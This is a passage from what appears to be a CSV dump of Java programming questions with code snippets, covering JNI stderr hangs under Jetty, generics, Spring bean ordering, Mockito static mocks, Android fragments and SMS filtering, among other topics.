0123456789\n '' ) ; 100 times , then return.On the java side we have a synchronise statement on a global lock to ensure only one thread is in the shared library at a time.I deploy this under jetty and make constant requests to jetty to call the shared library eventually ( after less than 100 requests ) I find that the shared library gets stuck.Using jstack we can see the thread which is stuck inside the call to the shared library ( classes have been renamed ) : Using gdb I am able to get a backtrace from within my shared library : line 357 is a fprintf ( ) line.I was concerned that perhaps the issue was something getting stuck only readying from stdout and never stderr . Within java I created a thread which keeps printing to stdout and stderr and I can see both.I also tried to see what would happen if we did 100 calls to System.err.println ( `` 9876543210 '' ) ; within java and , however that did not cause a thread in java to get stuck.Originally when logging this stderr and stdout was redirected with : I was able to see what the shared lib was writing to stderr in the log file . I then removed the redirection of stderr and stdout that and noticed I could no longer see what the shared library was writing to stderr , however I could see that System.err.println ( ) was printing.When I tried calling the shared library within a test ( without jetty ) I was unable to reproduce the problem . I ran my test from both eclipse and maven . I also tried redirecting stderr and stdout as above however I found that only writes to stderr and stdout within java was redirected ( i.e . fprintf ( ) to stderr from within the shared library continued to show up in eclipse or in the console ) . Java version : Jetty version : 9.2.6.v20141205","synchronized ( lock ) { Foo.INSTANCE.shared_lib_function ( ) ; } Thread 5991 : ( state = BLOCKED ) - com.whats.going.on.connector.MyFooCaller.callIt ( ) @ bci=55 , line=105 ( Interpreted frame ) - com.whats.going.on.Controller.callSharedLib ( ) @ bci=101 , line=71 ( Interpreted frame ) - com.whats.going.on.Controller $ $ FastClassBySpringCGLIB $ $ d6a0f4b3.invoke ( int , java.lang.Object , java.lang.Object [ ] ) @ bci=72 ( Interpreted frame ) - org.springframework.cglib.proxy.MethodProxy.invoke ( java.lang.Object , java.lang.Object [ ] ) @ bci=19 , line=204 ( Interpreted frame ) - org.springframework.aop.framework.CglibAopProxy $ CglibMethodInvocation.invokeJoinpoint ( ) @ bci=19 , line=717 ( Interpreted frame ) - org.springframework.aop.framework.ReflectiveMethodInvocation.proceed ( ) @ bci=19 , line=157 ( Interpreted frame ) - org.springframework.security.access.intercept.aopalliance.MethodSecurityInterceptor.invoke ( org.aopalliance.intercept.MethodInvocation ) @ bci=7 , line=64 ( Interpreted frame ) - org.springframework.aop.framework.ReflectiveMethodInvocation.proceed ( ) @ bci=101 , line=179 ( Interpreted frame ) - org.springframework.aop.framework.CglibAopProxy $ DynamicAdvisedInterceptor.intercept ( java.lang.Object , java.lang.reflect.Method , java.lang.Object [ ] , org.springframework.cglib.proxy.MethodProxy ) @ bci=112 , line=653 ( Interpreted frame ) # 0 0x00007f1136ec153d in write ( ) from /lib64/libc.so.6 # 1 0x00007f1136e57ad3 in _IO_new_file_write ( ) from /lib64/libc.so.6 # 2 0x00007f1136e5799a in _IO_new_file_xsputn ( ) from /lib64/libc.so.6 # 3 0x00007f1136e4da4d in fwrite ( ) from /lib64/libc.so.6 # 4 0x00007f10ed2dc122 in shared_lib_function ( ) at foo/bar.c:357 # 5 0x00007f10ed4d227c in ? ? ( ) # 6 0x000000000000000e in ? ? ( ) # 7 0x00007f110c2309c0 in ? ? ( ) # 8 0x00007f110c230700 in ? ? ( ) # 9 0x00007f10ed4d1ddf in ? ? ( ) # 10 0x0000000000000000 in ? ? ( ) PrintStream errorLog = new PrintStream ( new RolloverFileOutputStream ( new Fil ( `` yyyy_mm_dd.error.log '' ) .getCanonicalPath ( ) , false , 90 ) ) ; System.setErr ( errorLog ) ; System.setOut ( errorLog ) ; java version `` 1.8.0_25 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_25-b17 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.25-b02 , mixed mode )",Shared C library ( JNI ) hangs under jetty when writing to stderr +Java,"just found a line of code that I do not quite understand.This line can pass the compilation on my AndroidStudio IDE though with warning . It seems to violate the basic rule of Object Oriented language : `` the super class object can be instantiated with child class instance , but not vice versa . `` We know that List is super type of any generic List types , such as List < String > in this case . And as array is covariant , so I think List [ ] type is super of List < String > [ ] type . Why a List < String > [ ] can be instantiated with a List [ ] ?",List < String > [ ] stringLists = new List [ 1 ] ; String [ ] ss = new Object [ 1 ] ; // wo n't compile,about generic array creation in Java +Java,"I understood that LinkedList is implemented as a double linked list . Its performance on add and remove is better than Arraylist , but worse on get and set methods.Does that mean I should choose LinkedList over Arraylist for inserting ? I wrote a small test and found ArrayList is faster in inserting . Then how does linked list faster than ArrayList ? Please refer the below example which I have done .",import java.util.Date ; import java.util.LinkedList ; import java.util.List ; public class TestLinkedList { public static void main ( String [ ] args ) { long lStartTime = new Date ( ) .getTime ( ) ; System.out.println ( `` lStartTime : : `` + lStartTime ) ; List < Integer > integerList = new LinkedList < Integer > ( ) ; for ( int i = 0 ; i < 10000000 ; i++ ) { integerList.add ( i ) ; } long lEndTime = new Date ( ) .getTime ( ) ; System.out.println ( `` lEndTime : : `` + lEndTime ) ; long difference = lEndTime - lStartTime ; System.out.println ( `` Elapsed milliseconds : `` + difference ) ; } },comparison of Linkedlist over arraylist +Java,"I am trying to learn Kotlin and delegates are both interesting and confusing . I have a situation where , in a java class I would take a constructor arg , create a Future ( the ID represents a resource in another system ) and stash the Future as an instange variable . Then the `` getXXX '' would call Future.get ( ) Here is a sample java classI am not supplying the Kotlin example because I am simply not sure how to construct it .",public class Example { private Future < Foo > foo ; public Example ( String fooId ) { this.foo = supplyAsync ( ( ) - > httpClient.get ( fooId ) ) ; } public Foo getFoo ( ) { return foo.get ( ) ; } },Kotlin delegating to a future +Java,The following line seems to mock all static methods in the class : Is it possible to mock just one static method in a class ?,MockedStatic < Sample > sampleMock = Mockito.mockStatic ( Sample.class ) ; sampleMock.when ( ( ) - > Sample.sampleStaticMethod ( Mockito.any ( String.class ) ) ) .thenReturn ( `` response '' ) ;,How to mock just one static method in a class using Mockito ? +Java,My library has to deal with multiple beans ( interceptors ) that are specified in arbitrary order ( because they are spread over multiple configuration files ) .Before I can apply them I have to sort them by their priority . I use AnnotationAwareOrderComparator.sort ( beans ) for that . This works well as long as the @ Order annotation is added on the class level of that interceptor.But it does not work when I try to use it in @ Configuration classes on @ Bean methods : But if I add a test like this : Then the test will fail.From my debugging I know that AnnotationAwareOrderComparator.findOrder ( Object ) always returns null ( unspecified ) for the order of those beans . Probably because the bean instances are n't proxied and thus neither implement order nor have the order annotation on their class level . Is there a BeanPostProcessor or an config option that I have to enable ? How do I tell spring to either preserve the annotated order or use the application context 's bean definitions to sort the beans appropriately ?,"@ Configurationpublic class Config { @ Bean @ Order ( 1 ) public ServerInterceptor exceptionTranslatingServerInterceptor ( ) { return ... ; } @ Bean @ Order ( 2 ) public ServerInterceptor authenticatingServerInterceptor ( ) { return ... ; } @ Bean @ Order ( 3 ) public ServerInterceptor authorizationCheckingServerInterceptor ( ) { return ... } } @ Testvoid testOrderingOfTheDefaultInterceptors ( ) { List < ServerInterceptor > expected = new ArrayList < > ( ) ; expected.add ( applicationContext.getBean ( ExceptionTranslatingServerInterceptor.class ) ) ; expected.add ( applicationContext.getBean ( AuthenticatingServerInterceptor.class ) ) ; expected.add ( applicationContext.getBean ( AuthorizationCheckingServerInterceptor.class ) ) ; List < ServerInterceptor > actual = new ArrayList < > ( this.registry.getServerInterceptors ( ) ) ; assertEquals ( expected , actual ) ; // Accidentally passes // System.out.println ( actual ) ; Collections.shuffle ( actual ) ; AnnotationAwareOrderComparator.sort ( actual ) ; assertEquals ( expected , actual ) ; // Fails // System.out.println ( actual ) ; }",Sort spring @ Beans by method level @ Order annotation +Java,"Android Studio is showing the annotation , how can we represent this in UML ? Similarly , how is there a standard to display annotations ?",` @ NonNull `,Anotation `` NonNull '' in UML ? +Java,How can I use Oracle regular expressions in Java to get the same result or how can I build Java regular expression based on Oracle regular expression.Oracle : Result : Java : But this regular expression does n't work in Java . It fails with this exception : Maybe there is some algorithm to map regex ?,"declare str1 varchar2 ( 50 ) ; begin str1 : = REGEXP_SUBSTR ( '500 Oracle Parkway , Redwood Shores , CA ' , ' , [ ^ , ] + , ' ) ; DBMS_OUTPUT.PUT_LINE ( str1 ) ; end ; , Redwood Shores , String str1 = null ; Pattern pattern = Pattern.compile ( `` , [ ^ , ] + , '' ) ; Matcher matcher = pattern.matcher ( `` 500 Oracle Parkway , Redwood Shores , CA '' ) ; if ( matcher.find ( ) ) { str1 = matcher.group ( 1 ) ; } Exception in thread `` main '' java.lang.IndexOutOfBoundsException : No group 1at java.util.regex.Matcher.group ( Matcher.java:538 ) at mousemover.Playground.main ( Playground.java:16 )",How to use Oracle regular expression in Java or how to map them ? +Java,"I have a TabHost Inside a navigationDrawer and I 'm facing this weird problem which occurs when ever i go from TabHost which exist as a navigation drawer item to another navigation drawer item and get back to TabHost it wo n't display its content , the first time it works perfectly but when ever I change the item and get back to it , it wo n't display the content ; in other word it wo n't load child fragments , unless i closed the app and relaunch it or change the orientation ( recreate fragment ) .How it looks first time i open it ( with content ) After going to another navDrawer Item and return to TabHostTabHost Fragment : PageOneFragment : PageTwoFragmentNote : After debugging i notice that onCreateView ( ) in PageOneFragment and PageTwoFragment is not executed.so what is happening and why the tabHost does n't load its content after navigating to another item ? EDIT : After hours of painful debugging , I found that my code never execute the fallowing method on the second call which is : how could i solve this ? any help is truly appreciated.Thanks in advance .","import android.content.Context ; import android.os.Bundle ; import android.support.v4.app.Fragment ; import android.support.v4.app.FragmentActivity ; import android.support.v4.app.FragmentPagerAdapter ; import android.support.v4.view.ViewPager ; import android.view.LayoutInflater ; import android.view.View ; import android.view.ViewGroup ; import android.widget.TabHost ; import android.widget.TabWidget ; import java.util.ArrayList ; import info.fds.Emirates.R ; public class MyFragment extends Fragment { private TabHost mTabHost ; private ViewPager mViewPager ; private TabsAdapter mTabsAdapter ; public MyFragment ( ) { } @ Override public void onCreate ( Bundle instance ) { super.onCreate ( instance ) ; } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { View v = inflater.inflate ( R.layout.fragment_main , container , false ) ; mTabHost = ( TabHost ) v.findViewById ( android.R.id.tabhost ) ; mTabHost.setup ( ) ; mViewPager = ( ViewPager ) v.findViewById ( R.id.pager ) ; mTabsAdapter = new TabsAdapter ( getActivity ( ) , mTabHost , mViewPager ) ; return v ; } @ Override public void onResume ( ) { super.onResume ( ) ; // Here we load the content for each tab . mTabsAdapter.addTab ( mTabHost.newTabSpec ( `` Incident '' ) .setIndicator ( `` Incident '' ) , PageOneFragment.class , null ) ; mTabsAdapter.addTab ( mTabHost.newTabSpec ( `` Service Request '' ) .setIndicator ( `` Service Request '' ) , PageTwoFragment.class , null ) ; } public static class TabsAdapter extends FragmentPagerAdapter implements TabHost.OnTabChangeListener , ViewPager.OnPageChangeListener { private final Context mContext ; private final TabHost mTabHost ; private final ViewPager mViewPager ; private final ArrayList < TabInfo > mTabs = new ArrayList < TabInfo > ( ) ; static final class TabInfo { private final String tag ; private final Class < ? > clss ; private final Bundle args ; TabInfo ( String _tag , Class < ? > _class , Bundle _args ) { tag = _tag ; clss = _class ; args = _args ; } } static class DummyTabFactory implements TabHost.TabContentFactory { private final Context mContext ; public DummyTabFactory ( Context context ) { mContext = context ; } public View createTabContent ( String tag ) { View v = new View ( mContext ) ; v.setMinimumWidth ( 0 ) ; v.setMinimumHeight ( 0 ) ; return v ; } } public TabsAdapter ( FragmentActivity activity , TabHost tabHost , ViewPager pager ) { super ( activity.getSupportFragmentManager ( ) ) ; mContext = activity ; mTabHost = tabHost ; mViewPager = pager ; mTabHost.setOnTabChangedListener ( this ) ; mViewPager.setAdapter ( this ) ; mViewPager.setOnPageChangeListener ( this ) ; } public void addTab ( TabHost.TabSpec tabSpec , Class < ? > clss , Bundle args ) { tabSpec.setContent ( new DummyTabFactory ( mContext ) ) ; String tag = tabSpec.getTag ( ) ; TabInfo info = new TabInfo ( tag , clss , args ) ; mTabs.add ( info ) ; mTabHost.addTab ( tabSpec ) ; notifyDataSetChanged ( ) ; } @ Override public int getCount ( ) { return mTabs.size ( ) ; } @ Override public Fragment getItem ( int position ) { TabInfo info = mTabs.get ( position ) ; return Fragment.instantiate ( mContext , info.clss.getName ( ) , info.args ) ; } public void onTabChanged ( String tabId ) { int position = mTabHost.getCurrentTab ( ) ; mViewPager.setCurrentItem ( position ) ; } public void onPageScrolled ( int position , float positionOffset , int positionOffsetPixels ) { } public void onPageSelected ( int position ) { // Unfortunately when TabHost changes the current tab , it kindly // also takes care of putting focus on it when not in touch mode . // The jerk . // This hack tries to prevent this from pulling focus out of our // ViewPager . TabWidget widget = mTabHost.getTabWidget ( ) ; int oldFocusability = widget.getDescendantFocusability ( ) ; widget.setDescendantFocusability ( ViewGroup.FOCUS_BLOCK_DESCENDANTS ) ; mTabHost.setCurrentTab ( position ) ; widget.setDescendantFocusability ( oldFocusability ) ; } public void onPageScrollStateChanged ( int state ) { } } } public class PageOneFragment extends Fragment { @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { return inflater.inflate ( R.layout.pageone_fragment , container , false ) ; } @ Override public void onActivityCreated ( Bundle savedInstanceState ) { super.onActivityCreated ( savedInstanceState ) ; } @ Override public void onAttach ( Activity activity ) { super.onAttach ( activity ) ; } @ Override public void onStart ( ) { super.onStart ( ) ; } @ Override public void onResume ( ) { super.onResume ( ) ; } } public class PageTwoFragment extends Fragment { @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { return inflater.inflate ( R.layout.pagetwo_fragment , container , false ) ; } @ Override public void onActivityCreated ( Bundle savedInstanceState ) { super.onActivityCreated ( savedInstanceState ) ; } @ Override public void onAttach ( Activity activity ) { super.onAttach ( activity ) ; } @ Override public void onStart ( ) { super.onStart ( ) ; } @ Override public void onResume ( ) { super.onResume ( ) ; } } @ Override public Fragment getItem ( int position ) //never get executed after the second call { TabInfo info = mTabs.get ( position ) ; return Fragment.instantiate ( mContext , info.clss.getName ( ) , info.args ) ; }",TabHost displays content once ( onCreate ) +Java,"In Java , I have two different statements which accomplish the same result through using ternary operators , which are as follows : num < 0 ? 0 : num ; num * ( num < 0 ? 0 : 1 ) ; It appears that the second statement is unnecessarily complex and would take longer than the first , however when I recorded the time that each took , using the following code , the results were as follows:1.232 seconds1.023 seconds ( Each averaged over 5 runs ) Why is there this significant speedup when using the second statement ? It seems to include an unnecessary multiplication and have the same comparison . Does the first create a branch whilst the second does not ?",final long startTime = System.currentTimeMillis ( ) ; Random rand = new Random ( ) ; float [ ] results = new float [ 100000000 ] ; for ( int i = 0 ; i < 100000000 ; i++ ) { float num = ( rand.nextFloat ( ) * 2 ) - 1 ; results [ i ] = num < 0 ? 0 : num ; //results [ i ] = num * ( num < 0 ? 0 : 1 ) ; } final long endTime = System.currentTimeMillis ( ) ; System.out.println ( `` Total Time : `` + ( endTime - startTime ) ) ;,Why is a ternary operator with two constants faster than one with a variable ? +Java,"I know in languages such as C , C++ , Java and C # , ( C # example ) the else if statement is syntactic sugar , in that it 's really just a one else statement followed by an if statement . is equal to However , in python , there is a special elif statement . I 've been wondering if this is just shorthand for developers or if there is some hidden optimization python can do because of this , such as be interpreted faster ? But this would n't make sense to me , as other languages would be doing it too then ( such as JavaScript ) . So , my question is , in python is the elif statement just shorthand for the developers to use or is there something hidden that it gains through doing so ?",else if ( conition ( s ) ) { ... else { if ( condition ( s ) ) { ... },Is the python `` elif '' compiled differently from else : if ? +Java,"I 'm using a switch expression¹ in Java 12 to convert a string to a HTTP method : I 'd like to warn about the unsupported method in the default branch and return null ( which is then wrapped in an Optional ) .But the code above causes a compiler error : Return outside of enclosing switch expressionHow do I get this to compile ? For completeness , here 's the definition of the RequestMethod enum : ¹ switch expressions were introduced in Java 12 as a preview feature .","static Optional < RequestMethod > parseRequestMethod ( String methodStr ) { return Optional.ofNullable ( switch ( methodStr.strip ( ) .toUpperCase ( Locale.ROOT ) ) { case `` GET '' - > RequestMethod.GET ; case `` PUT '' - > RequestMethod.PUT ; case `` POST '' - > RequestMethod.POST ; case `` HEAD '' - > RequestMethod.HEAD ; default - > { log.warn ( `` Unsupported request method : ' { } ' '' , methodStr ) ; return null ; } } ) ; } enum RequestMethod { GET , PUT , POST , HEAD }",Return outside of enclosing switch expression +Java,"I 'm trying to add several pictures in a gallery of my articles in Google Play Newsstand with no success . I tried adding 3 pictures with the right size , but they ca n't be displayed into the article 's gallery.This is an example of my < item > element :","< media : content url= '' [ URL IMAGE ] '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > [ DESCRIPTION ] < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > [ AUTHOR ] < /media : credit > < /media : content > < item > < title > < ! [ CDATA [ Arquean a cafetería ] ] > < /title > < link > < ! [ CDATA [ http : //google/wE-bacdkE ] ] > < /link > < content : encoded > < ! [ CDATA [ Today we ’ re introducing a new age-based rating system for apps and games on Google Play . We know that people in different countries have different ideas about what content is appropriate for kids , teens and adults , so today ’ s announcement will help developers better label their apps for the right audience . Consistent with industry best practices , this change will give developers an easy way to communicate familiar and locally relevant content ratings to their users and help improve app discovery and engagement by letting people choose content that is right for them . Starting now , developers can complete a content rating questionnaire for each of their apps and games to receive objective content ratings . Google Play ’ s new rating system includes official ratings from the International Age Rating Coalition ( IARC ) and its participating bodies , including the Entertainment Software Rating Board ( ESRB ) , Pan-European Game Information ( PEGI ) , Australian Classification Board , Unterhaltungssoftware Selbstkontrolle ( USK ) and Classificação Indicativa ( ClassInd ) . Territories not covered by a specific ratings authority will display an age-based , generic rating . The process is quick , automated and free to developers . In the coming weeks , consumers worldwide will begin to see these new ratings in their local markets . ] ] > < /content : encoded > < author > Grupo Jorgesys < /author > < media : content url= '' http : //www.jorgesys.com/images/1973850.png '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > < ! [ CDATA [ Android ] ] > < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > < ! [ CDATA [ Grupo Jorgesys / Staff ] ] > < /media : credit > < /media : content > < media : content url= '' http : //flv.grupoJorgesys.com/flash/elnorte/articulo/mp3/online/1/489/488838.mp3 '' medium= '' audio '' > < media : title > < ! [ CDATA [ Arquean a cafetería ] ] > < /media : title > < media : description > < ! [ CDATA [ Arquean a cafetería ] ] > < /media : credit > < /media : content > < media : content url= '' http : //www.jorgesys.com/images/1973852.png '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > < ! [ CDATA [ Android0 ] ] > < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > < ! [ CDATA [ Grupo Jorgesys / Staff ] ] > < /media : credit > < /media : content > < media : content url= '' http : //www.jorgesys.com/images/1973856.png '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > < ! [ CDATA [ Android1 ] ] > < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > < ! [ CDATA [ Grupo Jorgesys / Staff ] ] > < /media : credit > < /media : content > < media : content url= '' http : //www.jorgesys.com/images/1973858.png '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > < ! [ CDATA [ Android2 ] ] > < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > < ! [ CDATA [ Grupo Jorgesys / Staff ] ] > < /media : credit > < /media : content > < media : content url= '' http : //www.jorgesys.com/images/1973860.png '' type= '' image/png '' expression= '' full '' width= '' 538 '' height= '' 190 '' > < media : description type= '' plain '' > < ! [ CDATA [ Arquean a cafetería ] ] > < /media : description > < media : credit role= '' author '' scheme= '' urn : ebu '' > < ! [ CDATA [ Grupo Jorgesys / Staff ] ] > < /media : credit > < /media : content > < /item >",Adding photos to gallery in Google Play Newsstand +Java,"I have the following test code : and I get the following error when trying to compile these two class : MyContainer.java:1 : MyContainer is not abstract and does not override abstract method addClass ( java.lang.Class ) in ContainerIf I add a type to the Container interface in MyContainer ( such as < Object > ) , I do n't get the error.The problem is I 'm introducing the type parameter to Container , which is part of the public API , so for compatibility , I ca n't have all implementing classes unable to compile.Anyone have any ideas ? Is it a type erasure issue ? Is there a workaround ?",public interface Container < I > { public void addClass ( Class < ? > clazz ) ; } public class MyContainer implements Container { public void addClass ( Class < ? > clazz ) { } },Can not compile a class which implements an interface without type parameter +Java,"I 'm working on a project in which we are producing a language which compiles to java . The framework we are using ( xtext ) makes prolific use of boxing in its generated code.Specifically , if you have a statement like : Then the compiled code looks like : Now , in the project I 'm working on , there are certain situations where particular basic binary operations are going to be extremely common ( especially increments and comparisons ) .My question is : is this going to be a problem in terms of performance , or will JIT ( or similarly intelligent JVM features ) simply realize what 's going on and fix it all ? PLEASE READ BEFORE POSTING : I 'm not interested in getting responses saying `` you should n't care , make it readable '' . This code is generated , and I simply do n't care about the readability of the generated code . What I do care about is that we do n't take a significant performance hit from this.Thanks","int i = 1 ; int j = 2 ; int k = i + j ; IntegerExtensions.operator_plus ( ( ( Integer ) i ) , ( ( Integer ) j ) )",Does boxing cause performance issues ? +Java,"I want to be when there is incoming sms whose number is not in contact , then the text in the block , for sure by checking whether there are any number is not in the phone book.i am have a code check number exist , but error time i code move in class BroadcastReceiver ? , and how to call method contactExists in onReceive ? I use AsyncTask , but I am confused about what to call the method contactExists , and how do I enter the number into contactExists , in order to recognize that the number of existing","public boolean contactExists ( Context context , String number , ContentResolver contentResolver ) { Cursor phones = contentResolver.query ( ContactsContract.CommonDataKinds.Phone . CONTENT_URI , null , null , null , ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME + `` ASC '' ) ; while ( phones.moveToNext ( ) ) { String phoneNumber = phones.getString ( phones.getColumnIndex ( ContactsContract.CommonDataKinds.Phone.NUMBER ) ) ; if ( PhoneNumberUtils.compare ( number , phoneNumber ) ) { return true ; } } return false ; } public class SmsReceiver extends BroadcastReceiver { public static int MSG_TPE = 0 ; private String number ; @ Override public void onReceive ( Context context , Intent intent ) { String action = intent.getAction ( ) ; if ( action.equals ( AppConstants.SMS_RECEIVED_ACTION ) ) { Bundle bundle = intent.getExtras ( ) ; SmsMessage [ ] msgs = null ; String message = `` '' ; String date = AppUtils.getDate ( ) ; String time = AppUtils.getTime ( ) ; String status = AppUtils.getStatus ( ) ; if ( bundle ! = null ) { Object [ ] pdus = ( Object [ ] ) bundle.get ( `` pdus '' ) ; msgs = new SmsMessage [ pdus.length ] ; for ( int i = 0 ; i < msgs.length ; i++ ) { msgs [ i ] = SmsMessage.createFromPdu ( ( byte [ ] ) pdus [ i ] ) ; number = msgs [ i ] .getOriginatingAddress ( ) ; message += msgs [ i ] .getMessageBody ( ) .toString ( ) ; message += `` \n '' ; } if ( SettingsPreferences.isBlockAllSms ( context ) ) { this.abortBroadcast ( ) ; CallMessageItem item = new CallMessageItem ( ) ; item.setDate ( date ) ; item.setMessage ( message ) ; item.setNumber ( number ) ; item.setTime ( time ) ; item.setStatus ( status ) ; item.setType ( AppConstants.TYPE_MESSAGE ) ; CMBDataProvider.addCallMessage ( context , item ) ; if ( SettingsPreferences.isNotificationShow ( context ) ) { AppUtils.generateNotification ( context , context.getResources ( ) .getString ( R.string.block_sms_message ) , false ) ; } } else if ( SettingsPreferences.isBlockPrivateSms ( context ) ) { ArrayList < BlockItem > block_number = CMBDataProvider .getBlackList ( context ) ; if ( ! TextUtils.isEmpty ( message ) & & ! TextUtils.isEmpty ( number ) & & block_number ! = null & & block_number.size ( ) > 0 ) { message = message.trim ( ) ; for ( int i = 0 ; i < block_number.size ( ) ; i++ ) { if ( number .contains ( block_number.get ( i ) .getNumber ( ) ) ) { this.abortBroadcast ( ) ; CallMessageItem item = new CallMessageItem ( ) ; item.setDate ( date ) ; item.setMessage ( message ) ; item.setNumber ( number ) ; item.setTime ( time ) ; item.setType ( AppConstants.TYPE_MESSAGE ) ; CMBDataProvider.addCallMessage ( context , item ) ; if ( SettingsPreferences .isNotificationShow ( context ) ) { AppUtils.generateNotification ( context , context.getResources ( ) .getString ( R.string.block_sms_message ) , false ) ; } break ; } } } } } } } private class Contactexixt extends AsyncTask < String , Integer , Double > { @ Override protected Double doInBackground ( String ... params ) { // TODO Auto-generated method stub contactExists ( params [ 0 ] ) ; return null ; } public boolean contactExists ( Context context , String number ) { Uri lookupUri = Uri.withAppendedPath ( ContactsContract.PhoneLookup.CONTENT_FILTER_URI , Uri.encode ( number ) ) ; String [ ] mPhoneNumberProjection = { ContactsContract.PhoneLookup._ID , ContactsContract.PhoneLookup.NUMBER , ContactsContract.PhoneLookup.DISPLAY_NAME } ; Cursor cur = context.getContentResolver ( ) .query ( lookupUri , mPhoneNumberProjection , null , null , null ) ; try { // Add your data } catch ( ClientProtocolException e ) { // TODO Auto-generated catch block } catch ( IOException e ) { // TODO Auto-generated catch block } } } }",Android : How to Check if incoming SMS number exist in contact phone in BroadcastReceiver and block is number not exist +Java,"So this is an odd one , I know the code itself is fairly useless , but what I 'm wondering why I get the error : I was writing some code , I had written this : Was n't thinking about variable scope at the time , obviously this is useless because I ca n't use row past the if anyway . What I do n't get is why I got the error I did : Now if I just modify that if check to : It will compile fine . I was under the impression that if there was 1 line under the if the curly brackets were optional ... clearly there are other considerations as well or both would either compile or fail . Could someone explain to me , or point me to a document that explains why I ca n't declare a local variable under the if conditional without the curly brackets ? EDIT : Here 's the full function :",if ( scan.hasNextInt ( ) ) int row = scan.nextInt ( ) ; > javac hw.javahw.java:25 : '.class ' expected int row = scan.nextInt ( ) ; ^hw.java:25 : not a statement int row = scan.nextInt ( ) ; ^ hw.java:25 : illegal start of expression int row = scan.nextInt ( ) ; ^hw.java:25 : ' ; ' expected int row = scan.nextInt ( ) ; ^ if ( scan.hasNextInt ( ) ) { int row = scan.nextInt ( ) ; } public static char getinput ( ) { System.out.println ( `` Where do you want to go ? ( row column ) '' ) ; Scanner scan = new Scanner ( System.in ) ; if ( scan.hasNextInt ( ) ) int row = scan.nextInt ( ) ; String input = scan.next ( ) ; System.out.println ( input ) ; return ' a ' ; },Declaring a useless local variable +Java,I have a SimpleIntegerProperty and want to derive a SimpleObjectProperty < Color > from it . For that I imagine some mechanism like with streams and optionals : Is there something built-in already or do I really need to roll this out on my own ? It would seems odd if there is no such thing because looking at all the power of Bindings gives you the strong feeling that this feature should also be there.Thanks !,"SimpleIntegerProperty intProp ; ObjectProperty < Color > colorProp = intProp.map ( i - > convertIntToColor ( i ) , c - > convertColorToInt ( c ) ) ;",How to map values of JavaFX observables ? +Java,"a List then Why does the code ( below ) compile ? Surely MyClass2 should return a List < Integer > ? I have noticed if you try to make it a List < String > then you get an error `` java : Main.MyClass2 is not abstract and does not override abstract method getList ( ) in Main.Int2 '' . I do n't quite understand why you do n't get this in the example above.Note : The solution to the problem in my project is to make the interface itself generic , i.e . Int1 < X > ( of course I use better names than this , its just an example ) .","public class Main { public static void main ( final String [ ] args ) { MyClass myClass = new MyClass ( ) ; List list = myClass.getList ( ) ; System.out.println ( list ) ; System.out.println ( list.get ( 0 ) .getClass ( ) ) ; MyClass2 myClass2 = new MyClass2 ( ) ; List list2 = myClass2.getList ( ) ; System.out.println ( list2 ) ; System.out.println ( list2.get ( 0 ) .getClass ( ) ) ; } public interface Int1 { public List getList ( ) ; } public interface Int2 extends Int1 { @ Override public List < Integer > getList ( ) ; } public static class MyClass implements Int2 { @ Override public List < Integer > getList ( ) { return Arrays.asList ( 1 , 2 , 3 ) ; } } public static class MyClass2 implements Int2 { @ Override public List getList ( ) { return Arrays.asList ( `` One '' , `` Two '' , `` Three '' ) ; } } }",Why does this class compile even though it does not properly implement its interface ? +Java,"I guess they 're the same thing but Clojure uses the Array class to manipulate.Anyway , I 've been told that in Clojure if you really need speed then you can use arrays but between the following programs the Java version is much faster_In contrast , this Clojure program that uses the IntBuffer class is almost as fast as the Java code",( time ( let [ data ( int-array 100000000 ) ] ( dotimes [ q 100000000 ] ( aset-int data q q ) ) ) ) public class Array { public static void main ( String [ ] args ) { long start = System.currentTimeMillis ( ) ; int [ ] data = new int [ 100000000 ] ; for ( int q = 0 ; q < data.length ; q++ ) { data [ q ] = q ; } System.out.println ( System.currentTimeMillis ( ) - start ) ; } } ( time ( let [ data ( IntBuffer/allocate 100000000 ) ] ( dotimes [ q 100000000 ] ( .put data q q ) ) ) ),Should Clojure arrays be as fast as Java arrays +Java,"I have some line of code where i can not understand how the codes are executes , i mean the flow of program.Code : I am thinking output should be : 0 , But Output is : 0,0,1 , I have done DEBUG above class so many time , The flow i have seen while debugging : Starts execution from line 3 , i.e . invokes printit ( ) with 2 as parameter.line 6 , if condition checks n value if greater than zero , then controls goes to line 7 , i.e . prinit ( ) invokes again by decrements n value once.step 2 continuous execution until n value becomes 0 , then line 6 , if condition is false . so in line 9 , SYSO prints 0.Then , unable to understood that , how the control again goes from line 10 to 5 ? ?","1 ) public class RecurLoopTest { 2 ) public static void main ( String [ ] args ) { 3 ) printit ( 2 ) ; 4 ) } 5 ) private static int printit ( int n ) { 6 ) if ( n > 0 ) { 7 ) printit ( -- n ) ; 8 ) } 9 ) System.out.print ( n+ '' , '' ) ; 10 ) return n ; 11 ) } 12 ) }",How does this recursion loop code executes +Java,"I am looking for a weak reference implementation similar to java.lang.ref.WeakReference , but which offers a set ( ) method or some other way of re-reference the created weak reference object . Here is the example : I need this to avoid object creation which , in my case slows down the execution time by an order of magnitude , because I am constantly changing the object to which my weak reference refers.I tried to copy the code from JDK , but it seems impossible since java.lang.ref.Reference uses the sun.misc.Cleaner class which is internal . I also looked on Android implementation but it seems it depends on Dalvik VM for Garbage collection . I wonder if this is actually possible to implement without changing the JVM / environment .",MutableWeakReference ref = new MutableWeakReference ( someObject ) ; ref.set ( 